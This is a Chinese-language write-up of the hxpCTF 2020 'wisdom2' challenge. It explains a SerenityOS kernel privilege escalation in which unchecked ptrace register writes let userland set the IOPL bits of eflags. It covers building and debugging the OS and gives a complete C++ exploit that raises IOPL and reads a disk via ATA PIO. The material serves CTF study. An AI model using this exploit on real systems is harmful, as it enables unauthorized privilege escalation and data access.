hxpCTF2020 wisdom2的解题思路

本文首发于安全客:hxpCTF2020 wisdom2:Ptrace参数未校验引发的SerenityOS内核提权

本题来源于hxpCTF 2020的wisdom2,是36c3 wisdom的升级版CVE-2019-20172:36C3 wisdom中的SerenityOS内核提权,该漏洞存在于serenityOS在2020年12月23日以前提交的版本。
title
漏洞存在于sys$ptrace()与sys$sigreturn()方法,允许Userland修改Kerneland的寄存器,进一步可实现内核提权。通过修改eflags的IOPL标志位,可对系统I/O设备进行读写操作。

Description

1
2
3
4
5
6
7
8
9
10
11
12
Description:
Oops, I did it again. :^)

This is commit # 4232874270015d940a2ba62c113bcf12986a2151 with the attached patch applied. Flag is in /dev/hdb.

Note that the setup of this task is perhaps a bit shaky: If you don’t get a shell prompt within a few seconds after solving the proof of work, something is wrong. Each connection has a time limit of 10 minutes; you may contact us in case this causes problems for you.

Download:
wisdom2-c46f03732e9dceef.tar.xz (19.4 MiB)

Connection:
telnet 157.90.19.161 2323

Build

拉取对应源码https://github.com/SerenityOS/serenity/tree/4232874270015d940a2ba62c113bcf12986a2151

按照Documentation/BuildInstructions.md安装依赖,并且编译Toolchain和Kernel

先打上patch

1
git apply /path/to/hxp.patch

编译Toolchain

1
2
cd Toolchain
./BuildIt.sh

编译Kernel

1
2
3
4
5
cd ..
cd Build
cmake ..
make
make install

运行

1
2
make image
make run

title

exp编译,将exp.cpp放$SERENITY_ROOT/Userland,cd进$SERENITY_ROOT/Build执行

1
make -C ./Userland/

$SERENITY_ROOT/Build/Userland看到编译好的exp
title

通过nc传exp
title

执行报错,貌似这样编译出来的binary没法运行
title

解决方法是将exp源码放在Userland目录后,cd到Build目录,执行

1
2
3
make
make install
make image

重新生成Kernel,exp成功执行
title

Exploiting

0x01 Vulnerable

漏洞成因是:Ptrace传入regs组未加任何检查便传递给kernel_regs,导致可以任意修改Kernel寄存器值
title

利用过程只需将kernel_regs.eflags的IOPL位(12/13 bits)置1,从而允许Userland访问系统I/O。
title

0x02 Debug

修改run.sh,添加-s参数,启用调试接口
title

gdb attach上去
title

copy_ptrace_registers_into_kernel_registers打断点

exp修改成将kernel_regs.edi置0xdeadbeef,编译后传到serenityOS
title

Kernel的edi寄存器已被置0xdeadbeef
title

0x03 Read flag

flag.txt是以设备的形式挂载到/dev/hdb,由于现在只有Userland访问I/O的权限,没法调Kernel里的get_device等设备操纵方法(需要特权)

可以看到Device::get_deviceDiskDevice::read方法位于Kerneland,Userland没法调,也就是没法利用wisdom1的方法去读flag
title

通过DiskDevice::read方法去读flag,导致Processor Halt
title

解决办法是利用现成的ATA PIO驱动程序读取flag,https://github.com/dhavalhirdhav/LearnOS/blob/fe764387c9f01bf67937adac13daace909e4093e/drivers/ata/ata.c
title

Script

完整的exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#include <sys/cdefs.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ptrace.h>
#include <assert.h>
#include <LibC/sys/arch/i386/regs.h>
#include <sys/wait.h>
#include <stdlib.h>

// IDE Reading Code taken from https://github.com/dhavalhirdhav/LearnOS/blob/fe764387c9f01bf67937adac13daace909e4093e/drivers/ata/ata.c

#define STATUS_BSY 0x80
#define STATUS_RDY 0x40
#define STATUS_DRQ 0x08
#define STATUS_DF 0x20
#define STATUS_ERR 0x01

// -Wall, -Werror :(
void raiseIOPL(void);
unsigned char port_byte_in(unsigned short port);
uint16_t port_word_in (uint16_t port);
void port_byte_out(unsigned short port, unsigned char data);
static void ATA_wait_BSY();
static void ATA_wait_DRQ();
void read_sectors_ATA_PIO(uint32_t target_address, uint32_t LBA, uint8_t sector_count);

unsigned char port_byte_in (unsigned short port) {
unsigned char result;
__asm__("in %%dx, %%al" : "=a" (result) : "d" (port));
return result;
}

void port_byte_out (unsigned short port, unsigned char data) {
__asm__("out %%al, %%dx" : : "a" (data), "d" (port));
}

uint16_t port_word_in (uint16_t port) {
uint16_t result;
__asm__("in %%dx, %%ax" : "=a" (result) : "d" (port));
return result;
}

#define BASE 0x1F0

void read_sectors_ATA_PIO(uint32_t target_address, uint32_t LBA, uint8_t sector_count)
{
ATA_wait_BSY();
port_byte_out(BASE + 6,0xE0 | ((LBA >>24) & 0xF) | 0x10 /* drive 2 */);
port_byte_out(BASE + 2,sector_count);
port_byte_out(BASE + 3, (uint8_t) LBA);
port_byte_out(BASE + 4, (uint8_t)(LBA >> 8));
port_byte_out(BASE + 5, (uint8_t)(LBA >> 16));
port_byte_out(BASE + 7,0x20); //Send the read command

uint16_t *target = (uint16_t*) target_address;

for (int j =0;j<sector_count;j++)
{
ATA_wait_BSY();
ATA_wait_DRQ();
for(int i=0;i<256;i++)
target[i] = port_word_in(BASE);
target+=256;
}
}

static void ATA_wait_BSY() //Wait for bsy to be 0
{
while(port_byte_in(BASE + 7)&STATUS_BSY);
}
static void ATA_wait_DRQ() //Wait fot drq to be 1
{
while(!(port_byte_in(BASE + 7)&STATUS_RDY));
}

// Actual exploit here
void raiseIOPL() {
int pid = fork();
if (pid != 0) {
int status;
pid_t g_pid = pid;
if (ptrace(PT_ATTACH, g_pid, 0, 0) == -1) {
perror("attach");
exit(-1);
}

if (waitpid(g_pid, &status, WSTOPPED | WEXITED) != g_pid || !WIFSTOPPED(status)) {
perror("waitpid");
exit(-1);
}

if (ptrace(PT_SYSCALL, g_pid, 0, 0) == -1) {
perror("syscall");
exit(-1);
}

if (waitpid(g_pid, &status, WSTOPPED | WEXITED) != g_pid || !WIFSTOPPED(status)) {
perror("waitpid");
exit(-1);
}

PtraceRegisters regs = {};
if (ptrace(PT_GETREGS, g_pid, &regs, 0) == -1) {
perror("getregs");
exit(-1);
}

regs.cs = 3;
regs.eflags |= 0x3000;

if (ptrace(PT_SETREGS, g_pid, &regs, 0) == -1) {
perror("setregs");
exit(-1);
}

if (ptrace(PT_DETACH, g_pid, 0, 0) == -1) {
perror("detach");
exit(-1);
}

exit(0);
}

sleep(2);
puts("Testing if IOPL has been raised...");

int flags = 0;
asm volatile("pushf\npop %0\n" : "=r" (flags));
if ((flags & 0x3000) == 0x3000) {
puts("Successfully raised IOPL!");
} else {
puts("Failed to raise IOPL!");
exit(-1);
}
}

int main(int, char**) {
raiseIOPL();
char data[512];
memset(data, 0, 512);
asm volatile("cli");
read_sectors_ATA_PIO((uint32_t) data, 0, 1);
asm volatile("sti");
printf("Flag: %s\n", (char*) data);
puts("Done");
return 0;
}

title

⬆︎TOP